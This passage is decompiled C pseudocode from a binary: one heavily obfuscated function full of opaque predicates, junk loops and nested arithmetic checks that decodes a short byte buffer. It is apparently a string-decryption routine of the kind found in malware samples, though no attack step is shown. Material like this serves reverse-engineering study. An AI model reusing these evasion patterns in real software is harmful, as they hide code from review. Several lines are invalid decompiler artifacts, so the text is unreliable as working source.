				intOrPtr _v1632;
				intOrPtr _v1636;
				intOrPtr _v1640;
				intOrPtr _v1644;
				intOrPtr _v1648;
				intOrPtr _v1652;
				intOrPtr _v1656;
				intOrPtr _v1660;
				intOrPtr _v1664;
				intOrPtr _v1668;
				intOrPtr _v1672;
				intOrPtr _v1676;
				intOrPtr _v1680;
				intOrPtr _v1684;
				intOrPtr _v1688;
				intOrPtr _v1692;
				intOrPtr _v1696;
				intOrPtr _v1700;
				intOrPtr _v1704;
				intOrPtr _v1708;
				intOrPtr _v1712;
				intOrPtr _v1716;
				intOrPtr _v1720;
				intOrPtr _v1724;
				intOrPtr _v1728;
				intOrPtr _v1732;
				intOrPtr _v1736;
				intOrPtr _v1740;
				intOrPtr _v1744;
				intOrPtr _v1748;
				intOrPtr _v1752;
				intOrPtr _v1756;
				intOrPtr _v1760;
				intOrPtr _v1764;
				intOrPtr _v1768;
				intOrPtr _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				intOrPtr _v1788;
				intOrPtr _v1792;
				intOrPtr _v1796;
				intOrPtr _v1800;
				intOrPtr _v1804;
				char _v1805;
				signed char _v1812;
				intOrPtr _v1816;
				signed int _v1820;
				signed int _v1824;
				signed int _v1828;
				signed int _v1832;
				signed int _v1836;
				signed int _v1840;
				signed int _v1844;
				signed int _v1848;
				signed int _v1852;
				signed int _v1856;
				signed int _v1860;
				signed int _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				signed int _v1900;
				signed int _v1904;
				intOrPtr _v1908;
				void _v1912;
				intOrPtr _v1924;
				char _v1952;
				intOrPtr* _t2130;
				intOrPtr _t2132;
				signed int _t2163;
				intOrPtr* _t2169;
				signed char* _t2180;
				signed int _t2187;
				signed int _t2192;
				signed int _t2200;
				signed int _t2211;
				signed int _t2219;
				signed int _t2230;
				signed int _t2242;
				signed int _t2256;
				signed int _t2264;
				signed int _t2275;
				signed int _t2282;
				signed int _t2287;
				signed int _t2295;
				signed int _t2306;
				signed int _t2314;
				signed int _t2325;
				signed int _t2337;
				signed int _t2351;
				signed int _t2359;
				signed int _t2370;
				signed int _t2377;
				signed int _t2382;
				signed int _t2387;
				signed int _t2392;
				signed int _t2397;
				signed int _t2402;
				signed int _t2407;
				signed int _t2412;
				signed int _t2417;
				signed int _t2422;
				signed int _t2435;
				signed int _t2440;
				signed int _t2445;
				signed int _t2450;
				signed int _t2455;
				signed int _t2460;
				signed int _t2465;
				signed int _t2470;
				signed int _t2475;
				signed int _t2480;
				signed int _t2493;
				signed int _t2498;
				signed int _t2503;
				signed int _t2508;
				signed int _t2513;
				signed int _t2518;
				signed int _t2523;
				signed int _t2528;
				signed int _t2533;
				signed int _t2538;
				signed char _t2572;
				signed char _t2626;
				signed int _t2754;
				signed int _t2782;
				signed int _t2802;
				signed int _t2807;
				signed int _t2815;
				signed int _t2826;
				signed int _t2834;
				signed int _t2845;
				signed int _t2857;
				signed int _t2871;
				signed int _t2879;
				signed int _t2890;
				signed int _t3028;
				signed int _t3048;
				signed int _t3053;
				signed int _t3061;
				signed int _t3072;
				signed int _t3080;
				signed int _t3091;
				signed int _t3103;
				signed int _t3117;
				signed int _t3125;
				signed int _t3136;
				signed int _t3429;
				signed int _t3434;
				signed int _t3442;
				signed int _t3453;
				signed int _t3461;
				signed int _t3472;
				signed int _t3484;
				signed int _t3498;
				signed int _t3506;
				signed int _t3517;
				char _t3879;
				signed int _t4209;
				signed int _t5101;
				void* _t5103;
				void* _t5108;
				void* _t5111;
				void* _t5112;
				void* _t5113;

				_t2 =  &_a4 - 4; // 0x47d4
				_push( *_t2);
				_push(_t3879);
				_push( &_a4);
				_t5103 = (_t5101 & 0xfffffff0) - 0x788;
				E004377D0();
				_v36 = 0x176f;
				if(_v36 != 0x3d9) {
					__eflags = _v36 - 0x176f;
					if(_v36 == 0x176f) {
						_v36 = 0x93e;
					}
				} else {
					_v36 = 0x22ea;
				}
				if(_v36 != 0x3b5) {
					__eflags = _v36 - 0x93e;
					if(_v36 == 0x93e) {
						_v36 = 0x1bfb;
					}
				} else {
					_v36 = 0x205b;
				}
				_v36 = 0x1cb;
				if(_v36 != 0x145d) {
					__eflags = _v36 - 0x1cb;
					if(_v36 == 0x1cb) {
						_v36 = 0x1511;
					}
				} else {
					_v36 = 0xcb2;
				}
				_v36 = 0xc04;
				if(_v36 == 0xc04) {
					_v36 = 0x10e0;
				}
				if(_v36 == 0x10e0) {
					_v36 = 0x59c;
				}
				if(_v36 == 0x59c) {
					_v36 = 0xd98;
				}
				_v37 = 1;
				L19:
				if(_v37 != 0) {
					_v36 = 0x3c9;
					_v37 = 0;
					goto L19;
				}
				_v38 = 1;
				while(1) {
					__eflags = _v38;
					if(_v38 == 0) {
						break;
					}
					_v36 = 0x2096;
					_v38 = 0;
				}
				__eflags = _v36 - 0x2096;
				if(_v36 == 0x2096) {
					_v36 = 0x5bf;
				}
				_v36 = 0x18f3;
				_v36 = 0x486;
				_v36 = 0x1f3;
				_v39 = 1;
				while(1) {
					__eflags = _v39;
					if(_v39 == 0) {
						break;
					}
					_v36 = 0x11e5;
					_v39 = 0;
				}
				_v1812 = 0x8233f26;
				_v1805 = _t3879;
				_t2130 =  &_v1459;
				 *_t2130 = 0;
				 *((intOrPtr*)(_t2130 + 0x1a)) = 0;
				_t4209 = _t2130 + 0x00000004 & 0xfffffffc;
				__eflags = 0x1e;
				_t2132 = 0;
				do {
					 *((intOrPtr*)(_t4209 + _t2132)) = 0;
					_t2132 = _t2132 + 4;
					__eflags = _t2132 - 0x1e;
				} while (_t2132 < 0x1e);
				_v40 = _v1812 & 0xff;
				_v44 = 0;
				_v1459 = _v44 + 0x0000006b ^ (_v40 & 0x000000ff) - 0x00000013;
				_v45 = ( &_v1812)[1] & 0xff;
				_v52 = 1;
				_v1458 = _v52 + 0x0000006b ^ (_v45 & 0x000000ff) - 0x00000013;
				_v53 = ( &_v1812)[2] & 0xff;
				_v60 = 2;
				_v1457 = _v60 + 0x0000006b ^ (_v53 & 0x000000ff) - 0x00000013;
				_v61 = ( &_v1812)[3] & 0xff;
				_v68 = 3;
				_t2163 = _v68 + 0x0000006b ^ (_v61 & 0x000000ff) - 0x00000013;
				__eflags = _t2163;
				_v1456 = _t2163;
				_v72 =  &_v1459;
				while(1) {
					L32:
					_v76 =  *((intOrPtr*)(E004015C0()));
					_v80 =  *((intOrPtr*)(E004015C6()));
					while(1) {
						_v84 = 0;
						while(1) {
							L34:
							__eflags = _v84 - 0x1d;
							if(_v84 > 0x1d) {
								break;
							}
							_t2180 = _v84 + _v72;
							__eflags = _t2180;
							_v85 =  *_t2180 & 0x000000ff;
							while(1) {
								L36:
								__eflags = _v84 - _v76;
								if(_v84 < _v76) {
									break;
								}
								memcpy( &_v1912, 0x5281a0, 0x19 << 2);
								_t5103 = _t5103 + 0xc;
								_t2187 = _v80 + _v1912;
								_v76 - _t2187 = _t2187 & 0xffffff00 | _v76 - _t2187 > 0x00000000;
								if((_t2187 & 0xffffff00 | _v76 - _t2187 > 0x00000000) == 0) {
									memcpy( &_v1912, 0x5281a0, 0x19 << 2);
									_t5103 = _t5103 + 0xc;
									_t2192 = _v80 + 1;
									_v76 - _t2192 = _t2192 & 0xffffff00 | _v76 == _t2192;
									if((_t2192 & 0xffffff00 | _v76 == _t2192) == 0) {
										memcpy( &_v1912, 0x5281a0, 0x19 << 2);
										_t5103 = _t5103 + 0xc;
										_t2200 = _v80 + (_v1856 & 0x00000001) + 1;
										_v76 - _t2200 = _t2200 & 0xffffff00 | _v76 == _t2200;
										if((_t2200 & 0xffffff00 | _v76 == _t2200) == 0) {
											memcpy( &_v1912, 0x5281a0, 0x19 << 2);
											_t5103 = _t5103 + 0xc;
											_t2211 = _v80 + _v1828 - 0xffffffff55555556 + (_v1828 * 0xaaaaaaab >> 0x20 >> 1) + 1;
											_v76 - _t2211 = _t2211 & 0xffffff00 | _v76 == _t2211;
											if((_t2211 & 0xffffff00 | _v76 == _t2211) == 0) {
												memcpy( &_v1912, 0x5281a0, 0x19 << 2);
												_t5103 = _t5103 + 0xc;
												_t2219 = _v80 + (_v1900 & 0x00000003) + 1;
												_v76 - _t2219 = _t2219 & 0xffffff00 | _v76 == _t2219;
												if((_t2219 & 0xffffff00 | _v76 == _t2219) == 0) {
													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
													_t5103 = _t5103 + 0xc;
													_t2230 = _v80 + _v1872 - (0xcccccccd << 2) + (_v1872 * 0xcccccccd >> 0x20 >> 2) + 1;
													_v76 - _t2230 = _t2230 & 0xffffff00 | _v76 == _t2230;
													if((_t2230 & 0xffffff00 | _v76 == _t2230) == 0) {
														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
														_t5103 = _t5103 + 0xc;
														_t2242 = _v80 + _v1844 - 0xffffffff55555556 + (_v1844 * 0xaaaaaaab >> 0x20 >> 2) + 0xffffffff55555556 + (_v1844 * 0xaaaaaaab >> 0x20 >> 2) + 1;
														_v76 - _t2242 = _t2242 & 0xffffff00 | _v76 == _t2242;
														if((_t2242 & 0xffffff00 | _v76 == _t2242) == 0) {
															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
															_t5103 = _t5103 + 0xc;
															_t2256 = _v1900 - ((_v1900 - 0x24924925 >> 1) + (_v1900 * 0x24924925 >> 0x20) >> 2 << 3) - ((_v1900 - 0x24924925 >> 1) + (_v1900 * 0x24924925 >> 0x20) >> 2) + _v80 + 1;
															_v76 - _t2256 = _t2256 & 0xffffff00 | _v76 == _t2256;
															if((_t2256 & 0xffffff00 | _v76 == _t2256) == 0) {
																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																_t5103 = _t5103 + 0xc;
																_t2264 = _v80 + (_v1872 & 0x00000007) + 1;
																_v76 - _t2264 = _t2264 & 0xffffff00 | _v76 == _t2264;
																if((_t2264 & 0xffffff00 | _v76 == _t2264) == 0) {
																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																	_t5103 = _t5103 + 0xc;
																	_t2275 = _v80 + _v1844 - (0x38e38e39 << 3) + (_v1844 * 0x38e38e39 >> 0x20 >> 1) + 1;
																	_v76 - _t2275 = _t2275 & 0xffffff00 | _v76 == _t2275;
																	if((_t2275 & 0xffffff00 | _v76 == _t2275) == 0) {
																		while(1) {
																			L57:
																			__eflags = _v84 - _v80;
																			if(_v84 < _v80) {
																				break;
																			}
																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																			_t5108 = _t5103 + 0xc;
																			_t2282 = _v80 + _v1816;
																			_t2282 - _v76 = _t2282 & 0xffffff00 | _t2282 - _v76 > 0x00000000;
																			if((_t2282 & 0xffffff00 | _t2282 - _v76 > 0x00000000) == 0) {
																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																				_t5103 = _t5108 + 0xc;
																				_t2287 = _v80 + 1;
																				_v76 - _t2287 = _t2287 & 0xffffff00 | _v76 == _t2287;
																				if((_t2287 & 0xffffff00 | _v76 == _t2287) == 0) {
																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																					_t5103 = _t5103 + 0xc;
																					_t2295 = _v80 + (_v1860 & 0x00000001) + 1;
																					_v76 - _t2295 = _t2295 & 0xffffff00 | _v76 == _t2295;
																					if((_t2295 & 0xffffff00 | _v76 == _t2295) == 0) {
																						memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																						_t5103 = _t5103 + 0xc;
																						_t2306 = _v80 + _v1832 - 0xffffffff55555556 + (_v1832 * 0xaaaaaaab >> 0x20 >> 1) + 1;
																						_v76 - _t2306 = _t2306 & 0xffffff00 | _v76 == _t2306;
																						if((_t2306 & 0xffffff00 | _v76 == _t2306) == 0) {
																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																							_t5103 = _t5103 + 0xc;
																							_t2314 = _v80 + (_v1888 & 0x00000003) + 1;
																							_v76 - _t2314 = _t2314 & 0xffffff00 | _v76 == _t2314;
																							if((_t2314 & 0xffffff00 | _v76 == _t2314) == 0) {
																								memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																								_t5103 = _t5103 + 0xc;
																								_t2325 = _v80 + _v1860 - (0xcccccccd << 2) + (_v1860 * 0xcccccccd >> 0x20 >> 2) + 1;
																								_v76 - _t2325 = _t2325 & 0xffffff00 | _v76 == _t2325;
																								if((_t2325 & 0xffffff00 | _v76 == _t2325) == 0) {
																									memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																									_t5103 = _t5103 + 0xc;
																									_t2337 = _v80 + _v1832 - 0xffffffff55555556 + (_v1832 * 0xaaaaaaab >> 0x20 >> 2) + 0xffffffff55555556 + (_v1832 * 0xaaaaaaab >> 0x20 >> 2) + 1;
																									_v76 - _t2337 = _t2337 & 0xffffff00 | _v76 == _t2337;
																									if((_t2337 & 0xffffff00 | _v76 == _t2337) == 0) {
																										memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																										_t5103 = _t5103 + 0xc;
																										_t2351 = _v1904 - ((_v1904 - 0x24924925 >> 1) + (_v1904 * 0x24924925 >> 0x20) >> 2 << 3) - ((_v1904 - 0x24924925 >> 1) + (_v1904 * 0x24924925 >> 0x20) >> 2) + _v80 + 1;
																										_v76 - _t2351 = _t2351 & 0xffffff00 | _v76 == _t2351;
																										if((_t2351 & 0xffffff00 | _v76 == _t2351) == 0) {
																											memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																											_t5103 = _t5103 + 0xc;
																											_t2359 = _v80 + (_v1876 & 0x00000007) + 1;
																											_v76 - _t2359 = _t2359 & 0xffffff00 | _v76 == _t2359;
																											if((_t2359 & 0xffffff00 | _v76 == _t2359) == 0) {
																												memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																												_t5103 = _t5103 + 0xc;
																												_t2370 = _v80 + _v1848 - (0x38e38e39 << 3) + (_v1848 * 0x38e38e39 >> 0x20 >> 1) + 1;
																												_v76 - _t2370 = _t2370 & 0xffffff00 | _v76 == _t2370;
																												if((_t2370 & 0xffffff00 | _v76 == _t2370) == 0) {
																													while(1) {
																														L78:
																														__eflags = _v84 - _v80 + _v76;
																														if(_v84 < _v80 + _v76) {
																															goto L155;
																														} else {
																															break;
																														}
																														while(1) {
																															L155:
																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																															_t5103 = _t5103 + 0xc;
																															_t2377 = _v80 + _v1908;
																															_t2377 - _v76 = _t2377 & 0xffffff00 | _t2377 == _v76;
																															if((_t2377 & 0xffffff00 | _t2377 == _v76) != 0) {
																																break;
																															}
																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																															_t5103 = _t5103 + 0xc;
																															_t2382 = _v80 + _v1880;
																															_v76 - _t2382 = _t2382 & 0xffffff00 | _v76 == _t2382;
																															if((_t2382 & 0xffffff00 | _v76 == _t2382) == 0) {
																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																_t5103 = _t5103 + 0xc;
																																_t2387 = _v80 + _v1852;
																																_v76 - _t2387 = _t2387 & 0xffffff00 | _v76 == _t2387;
																																if((_t2387 & 0xffffff00 | _v76 == _t2387) == 0) {
																																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																	_t5103 = _t5103 + 0xc;
																																	_t2392 = _v80 + _v1824;
																																	_v76 - _t2392 = _t2392 & 0xffffff00 | _v76 == _t2392;
																																	if((_t2392 & 0xffffff00 | _v76 == _t2392) == 0) {
																																		memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																		_t5103 = _t5103 + 0xc;
																																		_t2397 = _v80 + _v1896;
																																		_v76 - _t2397 = _t2397 & 0xffffff00 | _v76 == _t2397;
																																		if((_t2397 & 0xffffff00 | _v76 == _t2397) == 0) {
																																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																			_t5103 = _t5103 + 0xc;
																																			_t2402 = _v80 + _v1868;
																																			_v76 - _t2402 = _t2402 & 0xffffff00 | _v76 == _t2402;
																																			if((_t2402 & 0xffffff00 | _v76 == _t2402) == 0) {
																																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																				_t5103 = _t5103 + 0xc;
																																				_t2407 = _v80 + _v1840;
																																				_v76 - _t2407 = _t2407 & 0xffffff00 | _v76 == _t2407;
																																				if((_t2407 & 0xffffff00 | _v76 == _t2407) == 0) {
																																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																					_t5103 = _t5103 + 0xc;
																																					_t2412 = _v80 + _v1896;
																																					_v76 - _t2412 = _t2412 & 0xffffff00 | _v76 == _t2412;
																																					if((_t2412 & 0xffffff00 | _v76 == _t2412) == 0) {
																																						memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																						_t5103 = _t5103 + 0xc;
																																						_t2417 = _v80 + _v1868;
																																						_v76 - _t2417 = _t2417 & 0xffffff00 | _v76 == _t2417;
																																						if((_t2417 & 0xffffff00 | _v76 == _t2417) == 0) {
																																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																							_t5103 = _t5103 + 0xc;
																																							_t2422 = _v80 + _v1840;
																																							_v76 - _t2422 = _t2422 & 0xffffff00 | _v76 == _t2422;
																																							if((_t2422 & 0xffffff00 | _v76 == _t2422) != 0) {
																																								continue;
																																							}
																																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																							_v76 = _v80 + _v1876;
																																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																							_v80 = _v76 + _v1912;
																																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																							_t5103 = _t5103 + 0x24;
																																							_t2435 = _v80 + _v1848;
																																							_v76 - _t2435 = _t2435 & 0xffffff00 | _v76 - _t2435 > 0x00000000;
																																							if((_t2435 & 0xffffff00 | _v76 - _t2435 > 0x00000000) == 0) {
																																								memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																								_t5103 = _t5103 + 0xc;
																																								_t2440 = _v80 + _v1820;
																																								_v76 - _t2440 = _t2440 & 0xffffff00 | _v76 - _t2440 > 0x00000000;
																																								if((_t2440 & 0xffffff00 | _v76 - _t2440 > 0x00000000) == 0) {
																																									memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																									_t5103 = _t5103 + 0xc;
																																									_t2445 = _v80 + _v1892;
																																									_v76 - _t2445 = _t2445 & 0xffffff00 | _v76 - _t2445 > 0x00000000;
																																									if((_t2445 & 0xffffff00 | _v76 - _t2445 > 0x00000000) == 0) {
																																										memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																										_t5103 = _t5103 + 0xc;
																																										_t2450 = _v80 + _v1848;
																																										_v76 - _t2450 = _t2450 & 0xffffff00 | _v76 - _t2450 > 0x00000000;
																																										if((_t2450 & 0xffffff00 | _v76 - _t2450 > 0x00000000) == 0) {
																																											memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																											_t5103 = _t5103 + 0xc;
																																											_t2455 = _v80 + _v1820;
																																											_v76 - _t2455 = _t2455 & 0xffffff00 | _v76 - _t2455 > 0x00000000;
																																											if((_t2455 & 0xffffff00 | _v76 - _t2455 > 0x00000000) == 0) {
																																												memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																												_t5111 = _t5103 + 0xc;
																																												_t2460 = _v80 + _v1892;
																																												_v76 - _t2460 = _t2460 & 0xffffff00 | _v76 - _t2460 > 0x00000000;
																																												if((_t2460 & 0xffffff00 | _v76 - _t2460 > 0x00000000) == 0) {
																																													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																													_t5112 = _t5111 + 0xc;
																																													_t2465 = _v80 + _v1864;
																																													_v76 - _t2465 = _t2465 & 0xffffff00 | _v76 - _t2465 > 0x00000000;
																																													if((_t2465 & 0xffffff00 | _v76 - _t2465 > 0x00000000) == 0) {
																																														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																														_t5113 = _t5112 + 0xc;
																																														_t2470 = _v80 + _v1836;
																																														_v76 - _t2470 = _t2470 & 0xffffff00 | _v76 - _t2470 > 0x00000000;
																																														if((_t2470 & 0xffffff00 | _v76 - _t2470 > 0x00000000) == 0) {
																																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																															_t5103 = _t5113 + 0xc;
																																															_t2475 = _v80 + _v1908;
																																															_v76 - _t2475 = _t2475 & 0xffffff00 | _v76 - _t2475 > 0x00000000;
																																															if((_t2475 & 0xffffff00 | _v76 - _t2475 > 0x00000000) == 0) {
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_t5103 = _t5103 + 0xc;
																																																_t2480 = _v80 + _v1880;
																																																_v76 - _t2480 = _t2480 & 0xffffff00 | _v76 - _t2480 > 0x00000000;
																																																if((_t2480 & 0xffffff00 | _v76 - _t2480 > 0x00000000) != 0) {
																																																	continue;
																																																}
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_v76 = _v80 + _v1900;
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_v80 = _v76 + _v1836;
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_t5103 = _t5103 + 0x24;
																																																_t2493 = _v80 + _v1872;
																																																_v76 - _t2493 = _t2493 & 0xffffff00 | _v76 - _t2493 > 0x00000000;
																																																if((_t2493 & 0xffffff00 | _v76 - _t2493 > 0x00000000) == 0) {
																																																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																	_t5103 = _t5103 + 0xc;
																																																	_t2498 = _v80 + _v1844;
																																																	_v76 - _t2498 = _t2498 & 0xffffff00 | _v76 - _t2498 > 0x00000000;
																																																	if((_t2498 & 0xffffff00 | _v76 - _t2498 > 0x00000000) == 0) {
																																																		memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																		_t5103 = _t5103 + 0xc;
																																																		_t2503 = _v80 + _v1816;
																																																		_v76 - _t2503 = _t2503 & 0xffffff00 | _v76 - _t2503 > 0x00000000;
																																																		if((_t2503 & 0xffffff00 | _v76 - _t2503 > 0x00000000) == 0) {
																																																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																			_t5103 = _t5103 + 0xc;
																																																			_t2508 = _v80 + _v1888;
																																																			_v76 - _t2508 = _t2508 & 0xffffff00 | _v76 - _t2508 > 0x00000000;
																																																			if((_t2508 & 0xffffff00 | _v76 - _t2508 > 0x00000000) == 0) {
																																																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																				_t5103 = _t5103 + 0xc;
																																																				_t2513 = _v80 + _v1860;
																																																				_v76 - _t2513 = _t2513 & 0xffffff00 | _v76 - _t2513 > 0x00000000;
																																																				if((_t2513 & 0xffffff00 | _v76 - _t2513 > 0x00000000) == 0) {
																																																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																					_t5103 = _t5103 + 0xc;
																																																					_t2518 = _v80 + _v1832;
																																																					_v76 - _t2518 = _t2518 & 0xffffff00 | _v76 - _t2518 > 0x00000000;
																																																					if((_t2518 & 0xffffff00 | _v76 - _t2518 > 0x00000000) == 0) {
																																																						memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																						_t5103 = _t5103 + 0xc;
																																																						_t2523 = _v80 + _v1888;
																																																						_v76 - _t2523 = _t2523 & 0xffffff00 | _v76 - _t2523 > 0x00000000;
																																																						if((_t2523 & 0xffffff00 | _v76 - _t2523 > 0x00000000) == 0) {
																																																							memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																							_t5103 = _t5103 + 0xc;
																																																							_t2528 = _v80 + _v1860;
																																																							_v76 - _t2528 = _t2528 & 0xffffff00 | _v76 - _t2528 > 0x00000000;
																																																							if((_t2528 & 0xffffff00 | _v76 - _t2528 > 0x00000000) == 0) {
																																																								memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																								_t5103 = _t5103 + 0xc;
																																																								_t2533 = _v80 + _v1832;
																																																								_v76 - _t2533 = _t2533 & 0xffffff00 | _v76 - _t2533 > 0x00000000;
																																																								if((_t2533 & 0xffffff00 | _v76 - _t2533 > 0x00000000) == 0) {
																																																									memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																									_t5103 = _t5103 + 0xc;
																																																									_t2538 = _v80 + _v1904;
																																																									_v76 - _t2538 = _t2538 & 0xffffff00 | _v76 - _t2538 > 0x00000000;
																																																									if((_t2538 & 0xffffff00 | _v76 - _t2538 > 0x00000000) == 0) {
																																																										memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																										_v76 = _v80 + _v1840;
																																																										memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																										_t5103 = _t5103 + 0x18;
																																																										_v80 = _v76 + _v1876;
																																																									}
																																																									continue;
																																																								}
																																																								_v1413 = _v85 & 0x000000ff;
																																																								_v1420 = _v84;
																																																								_v1424 = _v1413 & 0x000000ff;
																																																								_v1428 = _v1420 + 0x6df3c638;
																																																								_v1472 = _v1424 + _v1428 - (_v1424 & _v1428) + (_v1424 & _v1428);
																																																								_v101 = _v1472 + 0x78;
																																																								L144:
																																																								_v901 = _v85 & 0x000000ff;
																																																								_v908 = _v84;
																																																								_v912 = _v901 & 0x000000ff;
																																																								_v916 = _v908 - 0x612904f3;
																																																								_v1600 = _v912 + _v916 - (_v912 & _v916) + (_v912 & _v916);
																																																								_t2572 = _v84 + _v72;
																																																								__eflags = _t2572;
																																																								 *_t2572 = _v1600 - 0x5b;
																																																								L145:
																																																								_t1345 =  &_v80;
																																																								 *_t1345 = _v80 + 1;
																																																								__eflags =  *_t1345;
																																																								L146:
																																																								_v84 = _v84 - 1;
																																																								L215:
																																																								_v84 = _v84 + 1;
																																																								goto L34;
																																																							}
																																																							_v1397 = _v85 & 0x000000ff;
																																																							_v1404 = _v84;
																																																							_v1408 = _v1397 & 0x000000ff;
																																																							_v1412 = _v1404 + 0x48126562;
																																																							_v1476 = _v1408 + _v1412 - (_v1408 & _v1412) + (_v1408 & _v1412);
																																																							_v101 = _v1476 + 0x52;
																																																							goto L145;
																																																						}
																																																						_v1381 = _v85 & 0x000000ff;
																																																						_v1388 = _v84;
																																																						_v1392 = _v1381 & 0x000000ff;
																																																						_v1396 = _v1388 + 0x2231048c;
																																																						_v1480 = _v1392 + _v1396 - (_v1392 & _v1396) + (_v1392 & _v1396);
																																																						_v101 = _v1480 + 0x2c;
																																																						goto L146;
																																																					}
																																																					_v1365 = _v85 & 0x000000ff;
																																																					_v1372 = _v84;
																																																					_v1376 = _v1365 & 0x000000ff;
																																																					_v1380 = _v1372 - 0x3b05c4a;
																																																					_v1484 = _v1376 + _v1380 - (_v1376 & _v1380) + (_v1376 & _v1380);
																																																					_v101 = _v1484 + 6;
																																																					L148:
																																																					_v933 = _v85 & 0x000000ff;
																																																					_v940 = _v84;
																																																					_v944 = _v933 & 0x000000ff;
																																																					_v948 = _v940 - 0x3b47a41d;
																																																					_v1592 = _v944 + _v948 - (_v944 & _v948) + (_v944 & _v948);
																																																					 *(_v84 + _v72) = _v1592 - 0x35;
																																																					_t2626 = _v84 + _v72;
																																																					__eflags = _t2626;
																																																					 *_t2626 = ( *(_v84 + _v72) & 0x000000ff) + (_v101 & 0x000000ff);
																																																					L149:
																																																					_t1391 =  &_v76;
																																																					 *_t1391 = _v76 + _v80;
																																																					__eflags =  *_t1391;
																																																					L150:
																																																					_v84 = _v84 - 1;
																																																					_v84 = _v84 - (_v101 & 0x000000ff);
																																																					goto L215;
																																																				}
																																																				_v1349 = _v85 & 0x000000ff;
																																																				_v1356 = _v84;
																																																				_v1360 = _v1349 & 0x000000ff;
																																																				_v1364 = _v1356 - 0x2991bd20;
																																																				_v1488 = _v1360 + _v1364 - (_v1360 & _v1364) + (_v1360 & _v1364);
																																																				_v101 = _v1488 - 0x20;
																																																				goto L149;
																																																			}
																																																			_v1333 = _v85 & 0x000000ff;
																																																			_v1340 = _v84;
																																																			_v1344 = _v1333 & 0x000000ff;
																																																			_v1348 = _v1340 - 0x4f731df6;
																																																			_v1492 = _v1344 + _v1348 - (_v1344 & _v1348) + (_v1344 & _v1348);
																																																			_v101 = _v1492 - 0x46;
																																																			goto L150;
																																																		}
																																																		_v1317 = _v85 & 0x000000ff;
																																																		_v1324 = _v84;
																																																		_v1328 = _v1317 & 0x000000ff;
																																																		_v1332 = _v1324 - 0x75547ecc;
																																																		_v1496 = _v1328 + _v1332 - (_v1328 & _v1332) + (_v1328 & _v1332);
																																																		_v101 = _v1496 - 0x6c;
																																																		L152:
																																																		_v965 = _v85 & 0x000000ff;
																																																		_v972 = _v84;
																																																		_v976 = _v965 & 0x000000ff;
																																																		_v980 = _v972 - 0x15664347;
																																																		_v1584 = _v976 + _v980 - (_v976 & _v980) + (_v976 & _v980);
																																																		 *(_v84 + _v72) = _v1584 - 0xf;
																																																		_v80 = _v80 + 1;
																																																		_v84 = _v84 - ( *(_v84 + _v72) & 0xff);
																																																		_t1441 =  &_v84;
																																																		 *_t1441 = _v84 - _v80;
																																																		__eflags =  *_t1441;
																																																		L153:
																																																		_v981 = _v85 & 0x000000ff;
																																																		_v988 = _v84;
																																																		_v992 = _v981 & 0x000000ff;
																																																		_v996 = _v988 - 0x27592dc;
																																																		_v1580 = _v992 + _v996 - (_v992 & _v996) + (_v992 & _v996);
																																																		 *(_v84 + _v72) = _v1580 + 4;
																																																		_v76 = _v76 + 1;
																																																		_v84 = _v84 - 1;
																																																		_t1465 =  &_v84;
																																																		 *_t1465 = _v84 - _v76;
																																																		__eflags =  *_t1465;
																																																		L154:
																																																		_v84 = _v84 + ( *(_v84 + _v72) & 0xff);
																																																		_v84 = _v84 + _v80;
																																																		goto L215;
																																																	}
																																																	_v1301 = _v85 & 0x000000ff;
																																																	_v1308 = _v84;
																																																	_v1312 = _v1301 & 0x000000ff;
																																																	_v1316 = _v1308 + 0x64ca205e;
